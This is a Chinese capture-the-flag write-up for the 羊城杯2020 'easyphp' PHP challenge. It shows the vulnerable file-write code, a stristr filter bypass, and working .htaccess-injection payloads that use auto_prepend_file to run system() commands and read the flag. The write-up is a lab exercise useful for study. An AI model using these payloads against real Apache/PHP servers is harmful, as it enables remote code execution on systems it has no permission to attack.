[羊城杯2020]easyphp
文章目录
- [羊城杯2020]easyphp
- 掌握知识
- 解题思路
- 关键paylaod
掌握知识
.htaccess
文件的利用,把自己指定当做 php
文件处理;preg_match
正则匹配的了解,stristr
函数的绕过;file_put_contents
文件写入操作的了解。.htaccess
文件格式的了解,注释符后跟一行内容。代码审计,unlink
清除文件。文件写入第三个参数的换行符绕过。
解题思路
- 大家题目链接,发现是一道代码审计的题目,简单读了一下代码,发现会在写入文件之前会删除目录下的除了
index.php
的文件。写入文件的文件名和文件内容也是可控的,只不过存在过滤
<?php
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
if(!isset($_GET['content']) || !isset($_GET['filename'])) {
highlight_file(__FILE__);
die();
}
$content = $_GET['content'];
if(stristr($content,'on') || stristr($content,'html') || stristr($content,'type') || stristr($content,'flag') || stristr($content,'upload') || stristr($content,'file')) {
echo "Hacker";
die();
}
$filename = $_GET['filename'];
if(preg_match("/[^a-z\.]/", $filename) == 1) {
echo "Hacker";
die();
}
$files = scandir('./');
foreach($files as $file) {
if(is_file($file)){
if ($file !== "index.php") {
unlink($file);
}
}
}
file_put_contents($filename, $content . "\nHello, world");
?>
stristr
函数对文件内容进行过滤,该函数绕过还是简单的,只需要添加一些特殊字符就可以了,和字符串弱类型比较相似。对于文件名的正则匹配,有点没读懂怎么个条件,到底是允许字母还是不允许,测试了一下该代码环境,运行之后明白该正则条件输入.[a-z]
是可以绕过该正则的,返回false
- 文件名和文件内容的绕过都分析结束后,就可以来想如何进行利用了,既然会删除除了
index.php
文件,直接覆盖index.php
文件是不是就可以了,尝试写入index.php
文件,但是再次访问并没有什么内容。尝试写入其他的php
文件中,发现只是将文件内容回显了罢了
- 到这里就有点明白了,靶机目录环境并不会解析
php
文件,所以才会原封不动返回出来内容,测试发现是阿帕奇服务器,就想到上传文件利用.htaccess
配置文件执行jpg
文件中的php
代码,但是再进行第二次文件写入时会把之前的文件删除掉,所以不能上传两次来利用,index.php
文件也不能写入。 - 去搜索了一下
.htaccess
文件的利用,发现在一个文章中写了.htaccess
文件也可以在不存在php
文件下进行解析执行php
代码,利用的配置文件中的php_value auto_append_file
参数[CTF].htaccess的使用技巧总结_.htaccess ctf_Y4tacker的博客-CSDN博客
-
文章还贴心给出了
file
被过滤的情况,正好和本次过滤吻合可以直接套用。但是在文件写入函数中还有一个参数\nHello, world
,由于\n
所以在写入文件之后会把后面的英文写入到下一行,根据了解这不符合当前.htaccess
解析格式,不能够正常解析,所以需要在上面距离的代码后面先闭合php
代码,再加上\
将\n
的\
进行转义即可,即为?>\
,闭合结果为?>\\nHello, world
即可将后面的内容输出为一行 -
所有的细节已经分析完毕,只需要将文件名和文件内容传参即可自动解析其中的
php
代码,将结果输出出来了,#
后面跟着任意代码执行,由于传参是一行的,所以换行的地方需要使用%0a
进行代替,#
用%23
代替,传参测试paylaod
,运行两次成功执行代码
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess
paylaod
成功运行得到结果,接下来就只需要修改命令执行函数里面的参数,找到flag
文件读取拿下flag
即可了,根据查看发现flag
在根目录下,简单的RCEbypass
绕过flag
过滤即可拿下flag
关键paylaod
php_value auto_prepend_fi\
le .htaccess
#<?php system("ls")?>\
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls")?>\&filename=.htaccess
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("ls /")?>\&filename=.htaccess
?content=php_value auto_prepend_fi\%0ale .htaccess%0a%23<?php system("cat /fl'a'g")?>\&filename=.htaccess